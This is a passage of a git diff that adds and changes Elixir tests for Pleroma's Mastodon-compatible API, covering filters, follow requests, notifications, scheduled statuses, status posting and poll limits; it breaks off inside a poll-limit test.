assign(:user, user) +      |> get("/api/v1/filters") +      |> json_response(200) + +    assert response == +             render_json( +               FilterView, +               "filters.json", +               filters: [filter_two, filter_one] +             ) +  end + +  test "get a filter", %{conn: conn} do +    user = insert(:user) + +    query = %Pleroma.Filter{ +      user_id: user.id, +      filter_id: 2, +      phrase: "knight", +      context: ["home"] +    } + +    {:ok, filter} = Pleroma.Filter.create(query) + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/filters/#{filter.filter_id}") + +    assert _response = json_response(conn, 200) +  end + +  test "update a filter", %{conn: conn} do +    user = insert(:user) + +    query = %Pleroma.Filter{ +      user_id: user.id, +      filter_id: 2, +      phrase: "knight", +      context: ["home"] +    } + +    {:ok, _filter} = Pleroma.Filter.create(query) + +    new = %Pleroma.Filter{ +      phrase: "nii", +      context: ["home"] +    } + +    conn = +      conn +      |> assign(:user, user) +      |> put("/api/v1/filters/#{query.filter_id}", %{ +        phrase: new.phrase, +        context: new.context +      }) + +    assert response = json_response(conn, 200) +    assert response["phrase"] == new.phrase +    assert response["context"] == new.context +  end + +  test "delete a filter", %{conn: conn} do +    user = insert(:user) + +    query = %Pleroma.Filter{ +      user_id: user.id, +      filter_id: 2, +      phrase: "knight", +      context: ["home"] +    } + +    {:ok, filter} = Pleroma.Filter.create(query) + +    conn = +      conn +      |> assign(:user, user) +      |> delete("/api/v1/filters/#{filter.filter_id}") + +    assert response = json_response(conn, 200) +    assert response == %{} +  end +end diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs new file mode 100644 index 000000000..4bf292df5 --- /dev/null +++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do +  use Pleroma.Web.ConnCase + +  alias Pleroma.User +  alias Pleroma.Web.ActivityPub.ActivityPub + +  import Pleroma.Factory + +  describe "locked accounts" do +    test "/api/v1/follow_requests works" do +      user = insert(:user, %{info: %User.Info{locked: true}}) +      other_user = insert(:user) + +      {:ok, _activity} = ActivityPub.follow(other_user, user) + +      user = User.get_cached_by_id(user.id) +      other_user = User.get_cached_by_id(other_user.id) + +      assert User.following?(other_user, user) == false + +      conn = +        build_conn() +        |> assign(:user, user) +        |> get("/api/v1/follow_requests") + +      assert [relationship] = json_response(conn, 200) +      assert to_string(other_user.id) == relationship["id"] +    end + +    test "/api/v1/follow_requests/:id/authorize works" do +      user = insert(:user, %{info: %User.Info{locked: true}}) +      other_user = insert(:user) + +      {:ok, _activity} = ActivityPub.follow(other_user, user) + +      user = User.get_cached_by_id(user.id) +      other_user = User.get_cached_by_id(other_user.id) + +      assert User.following?(other_user, user) == false + +      conn = +        build_conn() +        |> assign(:user, user) +        |> post("/api/v1/follow_requests/#{other_user.id}/authorize") + +      assert relationship = json_response(conn, 200) +      assert to_string(other_user.id) == relationship["id"] + +      user = User.get_cached_by_id(user.id) +      other_user = User.get_cached_by_id(other_user.id) + +      assert User.following?(other_user, user) == true +    end + +    test "/api/v1/follow_requests/:id/reject works" do +      user = insert(:user, %{info: %User.Info{locked: true}}) +      other_user = insert(:user) + +      {:ok, _activity} = ActivityPub.follow(other_user, user) + +      user = User.get_cached_by_id(user.id) + +      conn = +        build_conn() +        |> assign(:user, user) +        |> post("/api/v1/follow_requests/#{other_user.id}/reject") + +      assert relationship = json_response(conn, 200) +      assert to_string(other_user.id) == relationship["id"] + +      user = User.get_cached_by_id(user.id) +      other_user = User.get_cached_by_id(other_user.id) + +      assert User.following?(other_user, user) == false +    end +  end +end diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs index 87ee82050..560f55137 100644 --- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs +++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs @@ -86,10 +86,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do        assert user = json_response(conn, 200)        assert user["note"] == -               ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <> -                 user2.id <> -                 ~s(" class="u-url mention" href=") <> -                 user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>) +               ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{ +                 user2.id +               }" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)      end      test "updates the user's locking status", %{conn: conn} do @@ -128,6 +127,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do        assert user["pleroma"]["hide_followers"] == true      end +    test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> patch("/api/v1/accounts/update_credentials", %{ +          hide_followers_count: "true", +          hide_follows_count: "true" +        }) + +      assert user = json_response(conn, 200) +      assert user["pleroma"]["hide_followers_count"] == true +      assert user["pleroma"]["hide_follows_count"] == true +    end +      test "updates the user's skip_thread_containment option", %{conn: conn} do        user = insert(:user) @@ -318,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do        assert account["fields"] == [                 %{"name" => "foo", "value" => "bar"}, -               %{"name" => "link", "value" => "<a href=\"http://cofe.io\">cofe.io</a>"} +               %{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}               ]        assert account["source"]["fields"] == [ diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..e4137e92c --- /dev/null +++ b/test/web/mastodon_api/controllers/notification_controller_test.exs @@ -0,0 +1,299 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do +  use Pleroma.Web.ConnCase + +  alias Pleroma.Notification +  alias Pleroma.Repo +  alias Pleroma.User +  alias Pleroma.Web.CommonAPI + +  import Pleroma.Factory + +  test "list of notifications", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + +    {:ok, [_notification]} = Notification.create_notifications(activity) + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/notifications") + +    expected_response = +      "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ +        user.ap_id +      }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" + +    assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) +    assert response == expected_response +  end + +  test "getting a single notification", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + +    {:ok, [notification]} = Notification.create_notifications(activity) + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/notifications/#{notification.id}") + +    expected_response = +      "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ +        user.ap_id +      }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" + +    assert %{"status" => %{"content" => response}} = json_response(conn, 200) +    assert response == expected_response +  end + +  test "dismissing a single notification", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + +    {:ok, [notification]} = Notification.create_notifications(activity) + +    conn = +      conn +      |> assign(:user, user) +      |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) + +    assert %{} = json_response(conn, 200) +  end + +  test "clearing all notifications", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + +    {:ok, [_notification]} = Notification.create_notifications(activity) + +    conn = +      conn +      |> assign(:user, user) +      |> post("/api/v1/notifications/clear") + +    assert %{} = json_response(conn, 200) + +    conn = +      build_conn() +      |> assign(:user, user) +      |> get("/api/v1/notifications") + +    assert all = json_response(conn, 200) +    assert all == [] +  end + +  test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) +    {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) +    {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) +    {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + +    notification1_id = get_notification_id_by_activity(activity1) +    notification2_id = get_notification_id_by_activity(activity2) +    notification3_id = get_notification_id_by_activity(activity3) +    notification4_id = get_notification_id_by_activity(activity4) + +    conn = assign(conn, :user, user) + +    # min_id +    result = +      conn +      |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") +      |> json_response(:ok) + +    assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + +    # since_id +    result = +      conn +      |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") +      |> json_response(:ok) + +    assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + +    # max_id +    result = +      conn +      |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") +      |> json_response(:ok) + +    assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result +  end + +  test "filters notifications using exclude_types", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) +    {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) +    {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) +    {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) +    {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + +    mention_notification_id = get_notification_id_by_activity(mention_activity) +    favorite_notification_id = get_notification_id_by_activity(favorite_activity) +    reblog_notification_id = get_notification_id_by_activity(reblog_activity) +    follow_notification_id = get_notification_id_by_activity(follow_activity) + +    conn = assign(conn, :user, user) + +    conn_res = +      get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) + +    assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) + +    conn_res = +      get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) + +    assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) + +    conn_res = +      get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) + +    assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) + +    conn_res = +      get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) + +    assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) +  end + +  test "destroy multiple", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user) + +    {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) +    {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) +    {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) +    {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) + +    notification1_id = get_notification_id_by_activity(activity1) +    notification2_id = get_notification_id_by_activity(activity2) +    notification3_id = get_notification_id_by_activity(activity3) +    notification4_id = get_notification_id_by_activity(activity4) + +    conn = assign(conn, :user, user) + +    result = +      conn +      |> get("/api/v1/notifications") +      |> json_response(:ok) + +    assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result + +    conn2 = +      conn +      |> assign(:user, other_user) + +    result = +      conn2 +      |> get("/api/v1/notifications") +      |> json_response(:ok) + +    assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + +    conn_destroy = +      conn +      |> delete("/api/v1/notifications/destroy_multiple", %{ +        "ids" => [notification1_id, notification2_id] +      }) + +    assert json_response(conn_destroy, 200) == %{} + +    result = +      conn2 +      |> get("/api/v1/notifications") +      |> json_response(:ok) + +    assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result +  end + +  test "doesn't see notifications after muting user with notifications", %{conn: conn} do +    user = insert(:user) +    user2 = insert(:user) + +    {:ok, _, _, _} = CommonAPI.follow(user, user2) +    {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + +    conn = assign(conn, :user, user) + +    conn = get(conn, "/api/v1/notifications") + +    assert length(json_response(conn, 200)) == 1 + +    {:ok, user} = User.mute(user, user2) + +    conn = assign(build_conn(), :user, user) +    conn = get(conn, "/api/v1/notifications") + +    assert json_response(conn, 200) == [] +  end + +  test "see notifications after muting user without notifications", %{conn: conn} do +    user = insert(:user) +    user2 = insert(:user) + +    {:ok, _, _, _} = CommonAPI.follow(user, user2) +    {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + +    conn = assign(conn, :user, user) + +    conn = get(conn, "/api/v1/notifications") + +    assert length(json_response(conn, 200)) == 1 + +    {:ok, user} = User.mute(user, user2, false) + +    conn = assign(build_conn(), :user, user) +    conn = get(conn, "/api/v1/notifications") + +    assert length(json_response(conn, 200)) == 1 +  end + +  test "see notifications after muting user with notifications and with_muted parameter", %{ +    conn: conn +  } do +    user = insert(:user) +    user2 = insert(:user) + +    {:ok, _, _, _} = CommonAPI.follow(user, user2) +    {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + +    conn = assign(conn, :user, user) + +    conn = get(conn, "/api/v1/notifications") + +    assert length(json_response(conn, 200)) == 1 + +    {:ok, user} = User.mute(user, user2) + +    conn = assign(build_conn(), :user, user) +    conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) + +    assert length(json_response(conn, 200)) == 1 +  end + +  defp get_notification_id_by_activity(%{id: id}) do +    Notification +    |> Repo.get_by(activity_id: id) +    |> Map.get(:id) +    |> to_string() +  end +end diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs new file mode 100644 index 000000000..9ad6a4fa7 --- /dev/null +++ b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs @@ -0,0 +1,113 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do +  use Pleroma.Web.ConnCase, async: true + +  alias Pleroma.Repo +  alias Pleroma.ScheduledActivity + +  import Pleroma.Factory + +  test "shows scheduled activities", %{conn: conn} do +    user = insert(:user) +    scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() +    scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() +    scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() +    scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() + +    conn = +      conn +      |> assign(:user, user) + +    # min_id +    conn_res = +      conn +      |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") + +    result = json_response(conn_res, 200) +    assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + +    # since_id +    conn_res = +      conn +      |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") + +    result = json_response(conn_res, 200) +    assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result + +    # max_id +    conn_res = +      conn +      |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") + +    result = json_response(conn_res, 200) +    assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result +  end + +  test "shows a scheduled activity", %{conn: conn} do +    user = insert(:user) +    scheduled_activity = insert(:scheduled_activity, user: user) + +    res_conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + +    assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200) +    assert scheduled_activity_id == scheduled_activity.id |> to_string() + +    res_conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/scheduled_statuses/404") + +    assert %{"error" => "Record not found"} = json_response(res_conn, 404) +  end + +  test "updates a scheduled activity", %{conn: conn} do +    user = insert(:user) +    scheduled_activity = insert(:scheduled_activity, user: user) + +    new_scheduled_at = +      NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + +    res_conn = +      conn +      |> assign(:user, user) +      |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ +        scheduled_at: new_scheduled_at +      }) + +    assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200) +    assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) + +    res_conn = +      conn +      |> assign(:user, user) +      |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) + +    assert %{"error" => "Record not found"} = json_response(res_conn, 404) +  end + +  test "deletes a scheduled activity", %{conn: conn} do +    user = insert(:user) +    scheduled_activity = insert(:scheduled_activity, user: user) + +    res_conn = +      conn +      |> assign(:user, user) +      |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + +    assert %{} = json_response(res_conn, 200) +    assert nil == Repo.get(ScheduledActivity, scheduled_activity.id) + +    res_conn = +      conn +      |> assign(:user, user) +      |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + +    assert %{"error" => "Record not found"} = json_response(res_conn, 404) +  end +end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..b194feae6 --- /dev/null +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -0,0 +1,1210 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do +  use Pleroma.Web.ConnCase + +  alias Pleroma.Activity +  alias Pleroma.ActivityExpiration +  alias Pleroma.Config +  alias Pleroma.Object +  alias Pleroma.Repo +  alias Pleroma.ScheduledActivity +  alias Pleroma.User +  alias Pleroma.Web.ActivityPub.ActivityPub +  alias Pleroma.Web.CommonAPI + +  import Pleroma.Factory + +  describe "posting statuses" do +    setup do +      user = insert(:user) + +      conn = +        build_conn() +        |> assign(:user, user) + +      [conn: conn] +    end + +    test "posting a status", %{conn: conn} do +      idempotency_key = "Pikachu rocks!" + +      conn_one = +        conn +        |> put_req_header("idempotency-key", idempotency_key) +        |> post("/api/v1/statuses", %{ +          "status" => "cofe", +          "spoiler_text" => "2hu", +          "sensitive" => "false" +        }) + +      {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) +      # Six hours +      assert ttl > :timer.seconds(6 * 60 * 60 - 1) + +      assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = +               json_response(conn_one, 200) + +      assert Activity.get_by_id(id) + +      conn_two = +        conn +        |> put_req_header("idempotency-key", idempotency_key) +        |> post("/api/v1/statuses", %{ +          "status" => "cofe", +          "spoiler_text" => "2hu", +          "sensitive" => "false" +        }) + +      assert %{"id" => second_id} = json_response(conn_two, 200) +      assert id == second_id + +      conn_three = +        conn +        |> post("/api/v1/statuses", %{ +          "status" => "cofe", +          "spoiler_text" => "2hu", +          "sensitive" => "false" +        }) + +      assert %{"id" => third_id} = json_response(conn_three, 200) +      refute id == third_id + +      # An activity that will expire: +      # 2 hours +      expires_in = 120 * 60 + +      conn_four = +        conn +        |> post("api/v1/statuses", %{ +          "status" => "oolong", +          "expires_in" => expires_in +        }) + +      assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200) +      assert activity = Activity.get_by_id(fourth_id) +      assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) + +      estimated_expires_at = +        NaiveDateTime.utc_now() +        |> NaiveDateTime.add(expires_in) +        |> NaiveDateTime.truncate(:second) + +      # This assert will fail if the test takes longer than a minute. I sure hope it never does: +      assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 + +      assert fourth_response["pleroma"]["expires_at"] == +               NaiveDateTime.to_iso8601(expiration.scheduled_at) +    end + +    test "posting an undefined status with an attachment", %{conn: conn} do +      user = insert(:user) + +      file = %Plug.Upload{ +        content_type: "image/jpg", +        path: Path.absname("test/fixtures/image.jpg"), +        filename: "an_image.jpg" +      } + +      {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "media_ids" => [to_string(upload.id)] +        }) + +      assert json_response(conn, 200) +    end + +    test "replying to a status", %{conn: conn} do +      user = insert(:user) +      {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"}) + +      conn = +        conn +        |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + +      assert %{"content" => "xD", "id" => id} = json_response(conn, 200) + +      activity = Activity.get_by_id(id) + +      assert activity.data["context"] == replied_to.data["context"] +      assert Activity.get_in_reply_to_activity(activity).id == replied_to.id +    end + +    test "replying to a direct message with visibility other than direct", %{conn: conn} do +      user = insert(:user) +      {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"}) + +      Enum.each(["public", "private", "unlisted"], fn visibility -> +        conn = +          conn +          |> post("/api/v1/statuses", %{ +            "status" => "@#{user.nickname} hey", +            "in_reply_to_id" => replied_to.id, +            "visibility" => visibility +          }) + +        assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"} +      end) +    end + +    test "posting a status with an invalid in_reply_to_id", %{conn: conn} do +      conn = +        conn +        |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) + +      assert %{"content" => "xD", "id" => id} = json_response(conn, 200) +      assert Activity.get_by_id(id) +    end + +    test "posting a sensitive status", %{conn: conn} do +      conn = +        conn +        |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) + +      assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200) +      assert Activity.get_by_id(id) +    end + +    test "posting a fake status", %{conn: conn} do +      real_conn = +        conn +        |> post("/api/v1/statuses", %{ +          "status" => +            "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" +        }) + +      real_status = json_response(real_conn, 200) + +      assert real_status +      assert Object.get_by_ap_id(real_status["uri"]) + +      real_status = +        real_status +        |> Map.put("id", nil) +        |> Map.put("url", nil) +        |> Map.put("uri", nil) +        |> Map.put("created_at", nil) +        |> Kernel.put_in(["pleroma", "conversation_id"], nil) + +      fake_conn = +        conn +        |> post("/api/v1/statuses", %{ +          "status" => +            "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", +          "preview" => true +        }) + +      fake_status = json_response(fake_conn, 200) + +      assert fake_status +      refute Object.get_by_ap_id(fake_status["uri"]) + +      fake_status = +        fake_status +        |> Map.put("id", nil) +        |> Map.put("url", nil) +        |> Map.put("uri", nil) +        |> Map.put("created_at", nil) +        |> Kernel.put_in(["pleroma", "conversation_id"], nil) + +      assert real_status == fake_status +    end + +    test "posting a status with OGP link preview", %{conn: conn} do +      Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) +      Config.put([:rich_media, :enabled], true) + +      conn = +        conn +        |> post("/api/v1/statuses", %{ +          "status" => "https://example.com/ogp" +        }) + +      assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200) +      assert Activity.get_by_id(id) +    end + +    test "posting a direct status", %{conn: conn} do +      user2 = insert(:user) +      content = "direct cofe @#{user2.nickname}" + +      conn = +        conn +        |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) + +      assert %{"id" => id} = response = json_response(conn, 200) +      assert response["visibility"] == "direct" +      assert response["pleroma"]["direct_conversation_id"] +      assert activity = Activity.get_by_id(id) +      assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] +      assert activity.data["to"] == [user2.ap_id] +      assert activity.data["cc"] == [] +    end +  end + +  describe "posting scheduled statuses" do +    test "creates a scheduled activity", %{conn: conn} do +      user = insert(:user) +      scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "scheduled", +          "scheduled_at" => scheduled_at +        }) + +      assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200) +      assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) +      assert [] == Repo.all(Activity) +    end + +    test "creates a scheduled activity with a media attachment", %{conn: conn} do +      user = insert(:user) +      scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + +      file = %Plug.Upload{ +        content_type: "image/jpg", +        path: Path.absname("test/fixtures/image.jpg"), +        filename: "an_image.jpg" +      } + +      {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "media_ids" => [to_string(upload.id)], +          "status" => "scheduled", +          "scheduled_at" => scheduled_at +        }) + +      assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200) +      assert %{"type" => "image"} = media_attachment +    end + +    test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", +         %{conn: conn} do +      user = insert(:user) + +      scheduled_at = +        NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "not scheduled", +          "scheduled_at" => scheduled_at +        }) + +      assert %{"content" => "not scheduled"} = json_response(conn, 200) +      assert [] == Repo.all(ScheduledActivity) +    end + +    test "returns error when daily user limit is exceeded", %{conn: conn} do +      user = insert(:user) + +      today = +        NaiveDateTime.utc_now() +        |> NaiveDateTime.add(:timer.minutes(6), :millisecond) +        |> NaiveDateTime.to_iso8601() + +      attrs = %{params: %{}, scheduled_at: today} +      {:ok, _} = ScheduledActivity.create(user, attrs) +      {:ok, _} = ScheduledActivity.create(user, attrs) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) + +      assert %{"error" => "daily limit exceeded"} == json_response(conn, 422) +    end + +    test "returns error when total user limit is exceeded", %{conn: conn} do +      user = insert(:user) + +      today = +        NaiveDateTime.utc_now() +        |> NaiveDateTime.add(:timer.minutes(6), :millisecond) +        |> NaiveDateTime.to_iso8601() + +      tomorrow = +        NaiveDateTime.utc_now() +        |> NaiveDateTime.add(:timer.hours(36), :millisecond) +        |> NaiveDateTime.to_iso8601() + +      attrs = %{params: %{}, scheduled_at: today} +      {:ok, _} = ScheduledActivity.create(user, attrs) +      {:ok, _} = ScheduledActivity.create(user, attrs) +      {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) + +      assert %{"error" => "total limit exceeded"} == json_response(conn, 422) +    end +  end + +  describe "posting polls" do +    test "posting a poll", %{conn: conn} do +      user = insert(:user) +      time = NaiveDateTime.utc_now() + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "Who is the #bestgrill?", +          "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420} +        }) + +      response = json_response(conn, 200) + +      assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> +               title in ["Rei", "Asuka", "Misato"] +             end) + +      assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 +      refute response["poll"]["expred"] +    end + +    test "option limit is enforced", %{conn: conn} do +      user = insert(:user) +      limit = Config.get([:instance, :poll_limits, :max_options]) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "desu~", +          "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} +        }) + +      %{"error" => error} = json_response(conn, 422) +      assert error == "Poll can't contain more than #{limit} options" +    end + +    test "option character limit is enforced", %{conn: conn} do +      user = insert(:user) +      limit = Config.get([:instance, :poll_limits, :max_option_chars]) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "...", +          "poll" => %{ +            "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], +            "expires_in" => 1 +          } +        }) + +      %{"error" => error} = json_response(conn, 422) +      assert error == "Poll options cannot be longer than #{limit} characters each" +    end + +    test "minimal date limit is enforced", %{conn: conn} do +      user = insert(:user) +      limit = Config.get([:instance, :poll_limits, :min_expiration]) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "imagine arbitrary limits", +          "poll" => %{ +            "options" => 